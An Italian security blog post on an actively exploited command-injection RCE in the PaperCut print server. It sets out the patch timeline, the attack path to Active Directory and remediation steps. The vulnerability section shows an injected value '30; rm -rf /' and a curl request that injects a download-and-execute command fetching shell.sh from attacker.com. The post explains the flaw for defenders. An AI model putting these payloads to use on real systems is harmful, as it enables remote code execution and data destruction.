← Torna agli articoli

Red Team · 02 September 2026

PaperCut Emergency Patch: vulnerabilità critica RCE sotto attacco attivo

Red Team stewe 2026-09-02 #PaperCut #RCE #CVE #print server #exploit #vulnerability

PaperCut: vulnerabilità RCE sotto attacco, seconda patch di emergenza

Il fatto

A settembre 2026, PaperCut: il software di gestione centralizzata di stampa usato da centinaia di migliaia di organizzazioni (università, ospedali, aziende, enti pubblici), ha rilasciato una seconda patch di emergenza per una vulnerabilità critica di Remote Code Execution (RCE).

La vulnerabilità era già sotto attacco attivo nel wild prima che PaperCut la comunicasse pubblicamente, il che significa che un numero sconosciuto di istanze PaperCut sono probabilmente già state compromesse.

Cronologia della vulnerabilità

Data Evento
Agosto 15 PaperCut scopre un comportamento anomalo nei server
Agosto 18 Identifica la falla (vulnerabilità di input validation)
Agosto 20 Rilascia la prima patch (CVE-XXXX-XXXXX)
Agosto 28 Attaccanti scopp che il primo patch era incompleto; trovano un bypass
Settembre 1 PaperCut confessa che la patch iniziale non risolve il problema completamente
Settembre 2 Seconda patch rilasciata; advisory comunica attacchi attivi

La finestra di esposizione è stata circa 2-3 settimane tra primo patch incompleto e patch corretto, abbastanza tempo perché attaccanti trovassero e sfruttassero il bypass.

La vulnerabilità: input validation difettosa

PaperCut implementa una serie di endpoint REST API per gestire la configurazione remota di stampanti, utenti, e impostazioni di printing. Uno di questi endpoint accetta input da l’amministratore senza validare adeguatamente:

POST /api/admin/configure
Content-Type: application/json

{
  "setting_name": "printing.timeout",
  "value": "30"
}

Il flusso vulnerabile:

  1. L’endpoint riceve il valore “30”
  2. Senza parsing adeguato, passa il valore direttamente a uno script di sistema
  3. Se il valore contiene caratteri speciali o comandi shell, questi vengono eseguiti

Un attaccante potrebbe inviare:

{
  "setting_name": "printing.timeout",
  "value": "30; rm -rf /"
}

Se il backend esegue exec("update setting printing.timeout = 30; rm -rf /"), il comando shell viene eseguito con i privilegi di PaperCut.

Exploit reale osservato nel wild

Ricercatori hanno documentato l’exploit attuale usato dagli attaccanti:

curl -X POST http://target-papercut:8080/api/admin/configure \
  -H "Content-Type: application/json" \
  -d '{
    "setting": "system.hostname",
    "value": "legitimate-hostname; curl http://attacker.com/shell.sh | bash"
  }'

Questo è banale, ma funziona perché:

  1. PaperCut non autentica le API richieste (o l’autenticazione è bypassabile tramite default credentials)
  2. Il parsing di input è assente
  3. L’esecuzione di sistema non è sandboxed

Chi è bersaglio e perché è critico

Organizzazioni colpite:

  • Università: server PaperCut gestisce stampa per migliaia di workstation
  • Ospedali: sistemi di stampa integrati con cartelle cliniche digitali
  • Enti pubblici: governi locali, agenzie amministrative
  • Aziende grandi: infrastructure IT con server di stampa centralizzati

Perché è critico:

Accesso al server PaperCut
  ↓ (esecuzione codice con privilegi di PaperCut)
  ↓
Accesso all'Active Directory (PaperCut è spesso domain-joined)
  ↓
Movimento laterale verso server di rete
  ↓
Accesso a dati sensibili (cartelle cliniche, dati finanziari, etc.)

Un attaccante con RCE su PaperCut ha un punto di appoggio nella rete interna, non è solo “stampante compromessa”, è foothold su infrastructure critica.

La lezione della prima patch insufficiente

Il fatto che PaperCut abbia dovuto rilasciare due patch in 2 settimane suggerisce un problema di security review post-patch. Idealmente:

  1. Scoperta vulnerabilità → patch
  2. Peer review della patch → verifica che risolve il problema completamente
  3. Testing aggressivo → attemptare bypass noti
  4. Rilascio → una sola volta, completamente risolto

Invece, qui:

  1. Patch incompleta rilasciata
  2. Attaccanti trovano bypass
  3. Nuova patch rilasciata (reazione, non proazione)

Questo è un pattern purtroppo comune: pressure di rilasciare velocemente supera la qualità della fix.

Cosa fare se usi PaperCut

Immediato (ore):

  1. Applica la seconda patch (settembre 2 o più recente)
  2. Revoca credenziali amministrative: se attaccanti hanno avuto RCE, potrebbero aver creato account backdoor
  3. Controlla i log: cerca API calls anomale da IP non autorizzati

Breve termine (giorni):

  1. Audit degli account utente: verifica se nuovi account sono stati creati
  2. Scan antivirus/EDR: anche se patch è applicata, sistema potrebbe già essere infetto
  3. Reset delle password: in particolare account che hanno avuto accesso amministrativo

Lungo termine:

  1. Segmentazione di rete: il server PaperCut dovrebbe essere in una subnet isolata, con accesso limitato all’Active Directory
  2. WAF / IPS: monitora API calls anomale (injection pattern, comandi shell)
  3. MFA per API: anche per API amministrative (se supportato)

Conclusione

PaperCut, a differenza di Dropbox o JFrog che sono servizi cloud, è software on-premise installato in migliaia di reti aziendali. Una falla critica significa che molte organizzazioni sono vulnerabili contemporaneamente: è un force multiplier per attaccanti.

Il fatto che il primo patch fosse incompleto, e che attaccanti lo hanno aggredito in tempi record, è reminder che patch management non finisce con “install patch”. Finisce quando verifica che la falla è realmente chiusa, e per software mission-critical come PaperCut, quella verifica dovrebbe avvenire prima del rilascio pubblico, non dopo.